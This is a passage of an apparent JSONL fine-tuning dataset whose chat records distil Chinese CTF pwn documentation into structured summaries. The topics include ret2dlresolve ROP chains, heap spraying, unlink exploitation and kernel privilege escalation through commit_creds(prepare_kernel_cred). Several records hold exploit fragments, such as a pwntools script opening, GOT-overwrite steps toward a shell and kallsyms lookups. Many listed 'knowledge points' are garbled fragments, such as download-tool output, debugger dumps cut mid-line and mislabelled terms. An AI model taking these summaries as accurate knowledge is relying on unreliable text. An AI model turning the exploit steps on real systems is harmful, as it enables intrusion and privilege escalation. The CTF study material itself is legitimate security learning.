"docs-6211c7cd93aee6f9c726", "original_line": 1284, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/stackoverflow/x86/medium-rop.md", "source_root": "docs", "source_sha256": "2d11b5635ce2a11d71a4845a96933e353841718735da91048aa864c3d2273a3a", "split": "train", "split_group_key": "8816be31885bda06f51a7d72", "subcategory": "pwn/linux/user-mode", "terms": ["边界/溢出", "栈", "ROP/JOP", "漏洞利用", "pwn", "linux", "user-mode", "stackoverflow"], "title": "中级ROP"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/stackoverflow/x86/medium-rop.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-4b2e2ecef821694b1362", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/kernel-mode/environment/build-kernel.md` 中的章节「下载内核源码」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/kernel-mode/environment/build-kernel.md`\n标题：内核源码下载与编译\n章节：内核源码下载与编译 > 下载内核源码\n路径分类：pwn / pwn/linux/kernel-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“下载内核源码”展开。\n- 根据 Archive kernel releases，我们可以知道内核主要有以下几种类别： - Prepatch (RC) ：主线内核的预发布版本，包含了最新的待测试的内核特性，由 Linus Torvalds 维护。\n- Stable：主线内核发布后便会变为 Stable 状态，其仅会被 stable kernel 维护者从主线树后向移植一些漏洞修复，直到下个内核版本释出。\n- Longterm：部分内核版本会被选作长期支持版（LTS），相比起 Stable 内核有着更久的支持时长，通常仅会被后向移植重要的漏洞修复，且更新周期较慢（尤其是对于更老的版本）。\n- Mainline：主线内核版本，RC 版本的新特性经过测试后便会合并到主线，每9～10周发一个版本，由 Linus Torvalds 维护。\n- HTTP request sent, awaiting response...\n\n关键术语：\n- AI安全\n- 修复/缓解\n- 漏洞利用\n- pwn\n- linux\n- kernel-mode\n- environment\n- code:shell\n\n代码/命令片段线索：\n- shell: 10 行，首行 `$ wget https://mirrors.tuna.tsinghua.edu.cn/kernel/v6.x/linux-6.12.16.tar.xz`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 1619, "chunk_count": 1, "chunk_index": 0, "ctf_score": 26, "ctf_task_type": "pwn", "heading": "下载内核源码", "heading_path": ["内核源码下载与编译", "下载内核源码"], "original_id": "docs-324f2d211c9ef4563a4a", "original_line": 699, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/environment/build-kernel.md", "source_root": "docs", "source_sha256": "1bbcde79aa748d30013efb917e145242ce3c67e4eca3b23d9c0bd9708af4af0f", "split": "train", "split_group_key": "139f0db8d254ae42e6766e99", "subcategory": "pwn/linux/kernel-mode", "terms": ["AI安全", "修复/缓解", "漏洞利用", "pwn", "linux", "kernel-mode", "environment", "code:shell"], "title": "内核源码下载与编译"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/environment/build-kernel.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-4ba19c6020adbc7a6556", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/kernel-mode/exploitation/heap/slub/spray.md` 中的章节「Heap Spray」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/kernel-mode/exploitation/heap/slub/spray.md`\n标题：Heap Spray\n章节：Heap Spray\n路径分类：pwn / pwn/linux/kernel-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“Heap Spray”展开。\n- 堆喷射（heap spraying）指的是一种辅助攻击手法：「通过大量分配相同的结构体来达成某种特定的内存布局，从而帮助攻击者完成后续的利用过程」，常见于如下场景： - 你有一个 UAF，但是你无法通过少量内存分配拿到该结构体（例如该 object 不属于当前 freelist 且释放后会回到 node 上，或是像 add_key() 那样会被一直卡在第一个临时结构体上），这时你可以通过堆喷射来确保拿到该 object。\n- 你有一个堆溢出读/写，但是堆布局对你而言是不可知的（比如说开启了 SLAB_FREELIST_RANDOM（默认开启）），你可以预先喷射大量特定结构体，从而保证对其中某个结构体的溢出。\n- ...... 作为一种辅助的攻击手法，堆喷射可以被应用在多种场景下。\n\n关键术语：\n- UAF\n- 边界/溢出\n- 堆\n- 漏洞利用\n- pwn\n- linux\n- kernel-mode\n- exploitation\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 374, "chunk_count": 1, "chunk_index": 0, "ctf_score": 28, "ctf_task_type": "pwn", "heading": "Heap Spray", "heading_path": ["Heap Spray"], "original_id": "docs-5002b3ea96e5d9b87bd0", "original_line": 765, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/exploitation/heap/slub/spray.md", "source_root": "docs", "source_sha256": "2ae680126839cc9344bcfca380d500d735c945fde26f1a88b9e25d41a3e55a18", "split": "train", "split_group_key": "59406ae7fbaf99d15bdc85a8", "subcategory": "pwn/linux/kernel-mode", "terms": ["UAF", "边界/溢出", "堆", "漏洞利用", "pwn", "linux", "kernel-mode", "exploitation"], "title": "Heap Spray"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/exploitation/heap/slub/spray.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-4bc203df38777b8454fb", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md` 中的章节「手工伪造」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md`\n标题：ret2dlresolve\n章节：print(rop.dump()) > Partial RELRO > 手工伪造\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“手工伪造”展开。\n- 通过分析，我们可以发现程序有一个很明显的栈溢出漏洞，缓冲区到返回地址间的偏移为 112。\n- [ Legend: Modified register | Code | Heap | Stack | String ] ───────────────────────────────────────────────────────────────────────── registers ──── $eax : 0xc9 $ebx : 0x62616162 (\"baab\"?\n- ) $ecx : 0xffffcddc → \"aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaama[...]\" $edx : 0x100 $esp : 0xffffce50 → \"eaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqa[...]\" $ebp : 0x62616163 (\"caab\"?\n- () gef➤ pattern search 0x62616164 [+] Searching '0x62616164' [+] Found at offset 112 (little-endian search) likely `` 在下面的每一个阶段中，我们会一步步地深入理解如何构造 payload。\n- ] Cannot access memory at address 0x62616164 ─────────────────────────────────────────────────────────────────────────── threads ──── [#0] Id 1, Name: \"main_partial_re\", stopped 0x62616164 in ?\n\n关键术语：\n- 边界/溢出\n- 堆\n- 栈\n- ROP/JOP\n- AI安全\n- 漏洞利用\n- pwn\n- linux\n- user-mode\n- stackoverflow\n- code:asm\n\n代码/命令片段线索：\n- asm: 42 行，首行 `gef➤ pattern create 200`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 2838, "chunk_count": 1, "chunk_index": 0, "ctf_score": 28, "ctf_task_type": "pwn", "heading": "手工伪造", "heading_path": ["print(rop.dump())", "Partial RELRO", "手工伪造"], "original_id": "docs-4c6af67d907d24a01f0e", "original_line": 1309, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md", "source_root": "docs", "source_sha256": "2e19134d3375fa37fb3e560ae4b2109f6d74f32723e63394ef57aadfc89c451a", "split": "train", "split_group_key": "987aeb0996f440b696e28fad", "subcategory": "pwn/linux/user-mode", "terms": ["边界/溢出", "堆", "栈", "ROP/JOP", "AI安全", "漏洞利用", "pwn", "linux", "user-mode", "stackoverflow", "code:asm"], "title": "ret2dlresolve"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-4c2a4ee2f1d5f7df44ed", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/heap/ptmalloc2/implementation/malloc.md` 中的章节「处理其他意外情况」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/implementation/malloc.md`\n标题：申请内存块\n章节：define DEFAULT_TOP_PAD 131072 > 内存可能申请成功 > 处理其他意外情况\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“处理其他意外情况”展开。\n- ``c / Otherwise, make adjustments: If the first time through or noncontiguous, we need to call sbrk just to find out where the end of memory lies.\n- Almost all systems internally allocate whole pages at a time, in which case we might as well use the whole last page of request.\n- So we allocate enough more memory to hit a page boundary now, which in turn causes future contiguous calls to page-align. / else { front_misalign = 0;\n- We need to ensure that all returned chunks from malloc will meet MALLOC_ALIGNMENT If there was an intervening foreign sbrk, we need to adjust sbrk request size to account for fact that we will not be able to combine new space with existing space in old_top.\n\n关键术语：\n- 堆\n- pwn\n- linux\n- user-mode\n- heap\n- code:c\n\n代码/命令片段线索：\n- c: 19 行，首行 `/*`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 776, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "pwn", "heading": "处理其他意外情况", "heading_path": ["define DEFAULT_TOP_PAD 131072", "内存可能申请成功", "处理其他意外情况"], "original_id": "docs-510f6ba575756a93764a", "original_line": 1173, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/implementation/malloc.md", "source_root": "docs", "source_sha256": "d57c9fb6e3dadf6dcdef23e595c99d5566d1a5c69e96baacfe77e614ff9962bf", "split": "train", "split_group_key": "01cb753322462b30b0755acc", "subcategory": "pwn/linux/user-mode", "terms": ["堆", "pwn", "linux", "user-mode", "heap", "code:c"], "title": "申请内存块"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/implementation/malloc.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-4cf0c64eba6cf0783a52", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/kernel-mode/basic-knowledge.md` 中的章节「常见内核态函数」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/kernel-mode/basic-knowledge.md`\n标题：基础知识\n章节：基础知识 > 常见内核态函数\n路径分类：pwn / pwn/linux/kernel-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“常见内核态函数”展开。\n- > 更多关于 prepare_kernel_cred 的信息可以参考 源码 执行 commit_creds(prepare_kernel_cred(&init_task)) 也是最常用的提权手段，这些函数与变量的地址都可以在 /proc/kallsyms 中查看（较老的内核版本中是 /proc/ksyms），该文件的内容通常需要 root 权限才能正确查看。\n- kernel 中有两个可以方便的改变权限的函数： - *int commit_creds(struct cred \\new) - struct cred\\ prepare_kernel_cred(struct task_struct\\ daemon)** 从函数名也可以看出，执行 commit_creds(prepare_kernel_cred(&init_task)) 即可获得 root 权限，即拷贝 init 进程的 cred 作为当前进程的新的 credentials。\n- ``shell $ sudo cat /proc/kallsyms | grep \"T commit_creds\" ffffffffbb11ab20 T commit_creds $ sudo cat /proc/kallsyms | grep \"T prepare_kernel_cred\" ffffffffbb11b080 T prepare_kernel_cred $ sudo cat /proc/kallsyms | grep \"D init_cred\" ffffffffbce58840 D init_...\n\n关键术语：\n- pwn\n- linux\n- kernel-mode\n- basic-knowledge.md\n- code:shell\n\n代码/命令片段线索：\n- shell: 6 行，首行 `$ sudo cat /proc/kallsyms | grep \"T commit_creds\"`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 1200, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "pwn", "heading": "常见内核态函数", "heading_path": ["基础知识", "常见内核态函数"], "original_id": "docs-56d0a7aded7d710b55e6", "original_line": 647, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/basic-knowledge.md", "source_root": "docs", "source_sha256": "103d18a2b1d91a49bd2c2a041ed56ddd9dc84d20450319eb6f4ff9118cc83e6d", "split": "train", "split_group_key": "c406376a872da7f9c38d648d", "subcategory": "pwn/linux/kernel-mode", "terms": ["pwn", "linux", "kernel-mode", "basic-knowledge.md", "code:shell"], "title": "基础知识"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/basic-knowledge.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-4d35cecb2d59b6172c23", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md` 中的章节「stage 6」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md`\n标题：ret2dlresolve\n章节：construct rop chain > stage 6\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“stage 6”展开。\n- ```python from pwn import * elf = ELF('./main_partial_relro_32') r = process('./main_partial_relro_32') rop = ROP('./main_partial_relro_32') offset = 112 bss_addr = elf.bss() r.recvuntil('Welcome to XDCTF2015~!\n- 这一阶段，我们只需要将原先的 write 字符串修改为 system 字符串，同时修改 write 的参数为 system 的参数即可获取 shell。\n- 这是因为 _dl_runtime_resolve 函数最终是依赖函数名来解析目标地址的。\n\n关键术语：\n- 边界/溢出\n- 栈\n- ROP/JOP\n- AI安全\n- pwn\n- linux\n- user-mode\n- stackoverflow\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 340, "chunk_count": 1, "chunk_index": 0, "ctf_score": 26, "ctf_task_type": "pwn", "heading": "stage 6", "heading_path": ["construct rop chain", "stage 6"], "original_id": "docs-f99a31410340e7d5f7dc", "original_line": 1330, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md", "source_root": "docs", "source_sha256": "2e19134d3375fa37fb3e560ae4b2109f6d74f32723e63394ef57aadfc89c451a", "split": "train", "split_group_key": "79c97eaad0aacac80774ba0f", "subcategory": "pwn/linux/user-mode", "terms": ["边界/溢出", "栈", "ROP/JOP", "AI安全", "pwn", "linux", "user-mode", "stackoverflow"], "title": "ret2dlresolve"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-4d3de5a11c784b4a170c", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/virtualization/basic-knowledge/basic-knowledge.md` 中的章节「REFERENCE」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/virtualization/basic-knowledge/basic-knowledge.md`\n标题：虚拟化技术简介\n章节：虚拟化技术简介 > REFERENCE\n路径分类：pwn / pwn/virtualization/basic-knowledge\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“REFERENCE”展开。\n- 《系统虚拟化：原理与实现》——Intel 开源软件技术中心 【VIRT.0x02】系统虚拟化导论 [Intel® 64 and IA-32 Architectures Software Developer's Manual Volume 3C: System Programming Guide, Part 3](https://cdrdv2.intel.com/v1/dl/getContent/671506) 重学 Docker - part1: 虚拟化技术简述 Formal Requirements for...\n\n关键术语：\n- pwn\n- virtualization\n- basic-knowledge\n- basic-knowledge.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 471, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "pwn", "heading": "REFERENCE", "heading_path": ["虚拟化技术简介", "REFERENCE"], "original_id": "docs-09490140138caf1baf67", "original_line": 1398, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/virtualization/basic-knowledge/basic-knowledge.md", "source_root": "docs", "source_sha256": "619fccbfece3102f0009849757825463f93f506d6998632a4ef736e1785d56a8", "split": "train", "split_group_key": "49002549a28bb61c5ed766be", "subcategory": "pwn/virtualization/basic-knowledge", "terms": ["pwn", "virtualization", "basic-knowledge", "basic-knowledge.md"], "title": "虚拟化技术简介"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/virtualization/basic-knowledge/basic-knowledge.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-4d7598888cdfe124efbe", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md` 中的章节「NO RELRO」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md`\n标题：ret2dlresolve\n章节：ret2dlresolve > 32 位例子 > NO RELRO\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“NO RELRO”展开。\n- ``shell ❯ gcc -fno-stack-protector -m32 -z norelro -no-pie main.c -o main_norelro_32 ❯ checksec main_no_relro_32 [] '/mnt/hgfs/ctf-challenges/pwn/stackoverflow/ret2dlresolve/2015-xdctf-pwn200/32/no-relro/main_no_relro_32' Arch: i386-32-little RELRO: No RELR...\n- 因为我们只需要修改 .dynamic 节中的字符串表的地址为伪造的字符串表的地址，并且相应的位置为目标字符串基本就行了。\n- 具体思路如下 1. 修改 .dynamic 节中字符串表的地址为伪造的地址 2. 在伪造的地址处构造好字符串表，将 read 字符串替换为 system 字符串。\n- 4. 调用 read 函数的 plt 的第二条指令，触发 _dl_runtime_resolve 进行函数解析，从而执行 system 函数。\n- 代码如下 ``python from pwn import\n\n关键术语：\n- 边界/溢出\n- 栈\n- ROP/JOP\n- AI安全\n- pwn\n- linux\n- user-mode\n- stackoverflow\n- code:shell\n\n代码/命令片段线索：\n- shell: 8 行，首行 `❯ gcc -fno-stack-protector -m32 -z norelro -no-pie main.c -o main_norelro_32`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 662, "chunk_count": 1, "chunk_index": 0, "ctf_score": 26, "ctf_task_type": "pwn", "heading": "NO RELRO", "heading_path": ["ret2dlresolve", "32 位例子", "NO RELRO"], "original_id": "docs-3e8e07ad702210898876", "original_line": 1305, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md", "source_root": "docs", "source_sha256": "2e19134d3375fa37fb3e560ae4b2109f6d74f32723e63394ef57aadfc89c451a", "split": "train", "split_group_key": "452681cf08917ee73979672a", "subcategory": "pwn/linux/user-mode", "terms": ["边界/溢出", "栈", "ROP/JOP", "AI安全", "pwn", "linux", "user-mode", "stackoverflow", "code:shell"], "title": "ret2dlresolve"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-4db85e33d58e75ca96ff", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/kernel-mode/basic-knowledge.md` 中的章节「系统调用简介」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/kernel-mode/basic-knowledge.md`\n标题：基础知识\n章节：基础知识 > 内核交互 > 系统调用简介\n路径分类：pwn / pwn/linux/kernel-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“系统调用简介”展开。\n- 系统调用，指的是用户空间的程序向操作系统内核请求需要更高权限的服务，比如 IO 操作或者进程间通信。\n- > 在 /usr/include/x86_64-linux-gnu/asm/unistd_64.h 和 /usr/include/x86_64-linux-gnu/asm/unistd_32.h 分别可以查看 64 位和 32 位的系统调用号。\n- > 同时推荐一个很好用的网站 Linux Syscall Reference，可以查阅 32 位系统调用对应的寄存器含义以及源码。\n- 64位系统调用可以查看 Linux Syscall64 Reference\n- 系统调用提供用户程序与操作系统间的接口，部分库函数（如 scanf，puts 等 IO 相关的函数实际上是对系统调用的封装（read 和 write））。\n\n关键术语：\n- pwn\n- linux\n- kernel-mode\n- basic-knowledge.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 435, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "pwn", "heading": "系统调用简介", "heading_path": ["基础知识", "内核交互", "系统调用简介"], "original_id": "docs-d27bd2b2ec8ca4aae0c8", "original_line": 34, "original_split": "validation", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/basic-knowledge.md", "source_root": "docs", "source_sha256": "103d18a2b1d91a49bd2c2a041ed56ddd9dc84d20450319eb6f4ff9118cc83e6d", "split": "train", "split_group_key": "917d9ba746972a7dd0ef0101", "subcategory": "pwn/linux/kernel-mode", "terms": ["pwn", "linux", "kernel-mode", "basic-knowledge.md"], "title": "基础知识"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/basic-knowledge.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-4de0532a4c1b3a0f27b1", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/heap/ptmalloc2/unlink.md` 中的章节「漏洞」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/unlink.md`\n标题：Unlink\n章节：get shell > note3 > 漏洞\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“漏洞”展开。\n- ` 我们使用的溢出数据是用于构造一个fake chunk来实现safe unlink的利用，具体的原理可以看这一章节的讲解。\n- 通过栈中的libc地址求出system的地址就可以利用任意地址写获得shell ` free(4) edit(3,free_got) edit(0,printf_plt) edit(3,p64(0x6020e8)) edit(0,'%llx.'30) ` 完成的exp如下 `` #!\n- 这样当free这块区域（这块区域在ptr_array中，所以可以直接传递给free），就可以泄漏出栈中的数据。\n- 漏洞存在于edit功能中，这里面在获取用户输入的id号之后并没有进行验证。\n- 在get_num函数中存在整数溢出漏洞，我们可以获得一个负数。\n\n关键术语：\n- 边界/溢出\n- 堆\n- 栈\n- 漏洞利用\n- pwn\n- linux\n- user-mode\n- heap\n\n代码/命令片段线索：\n- plain: 12 行，首行 `int edit()`\n- plain: 18 行，首行 `.bss:`\n- plain: 10 行，首行 `new(512,'a')`\n- plain: 5 行，首行 `data = ''`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 1446, "chunk_count": 1, "chunk_index": 0, "ctf_score": 26, "ctf_task_type": "pwn", "heading": "漏洞", "heading_path": ["get shell", "note3", "漏洞"], "original_id": "docs-8b7990bbb0af04569c23", "original_line": 1093, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/unlink.md", "source_root": "docs", "source_sha256": "c6a924469168a8cbe0822d2807b6d6c4037af2ee0bd17384b59dcb6fdb0c90ee", "split": "train", "split_group_key": "101b2d62a82df146ce13d03c", "subcategory": "pwn/linux/user-mode", "terms": ["边界/溢出", "堆", "栈", "漏洞利用", "pwn", "linux", "user-mode", "heap"], "title": "Unlink"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/unlink.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-4dfaebec05148d8ffa55", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/kernel-mode/exploitation/race/double-fetch.md` 中的章节「其他」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/kernel-mode/exploitation/race/double-fetch.md`\n标题：Double Fetch\n章节：Double Fetch > 2018 0CTF Finals Baby Kernel > 其他\n路径分类：pwn / pwn/linux/kernel-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“其他”展开。\n- 还有，配置 QEMU 启动参数时，需要配置为非单核单线程启动，否则无法触发题目中的竞争条件。\n- 首先， 需关闭 dmesg_restrict ，否则无法查看 printk 信息，具体操作是在启动脚本中加入： ``bash echo 0 > /proc/sys/kernel/dmesg_restrict ` 其次，配置 QEMU 启动参数时， 不要开启 SMAP 保护，否则在内核中直接访问用户态数据会引起 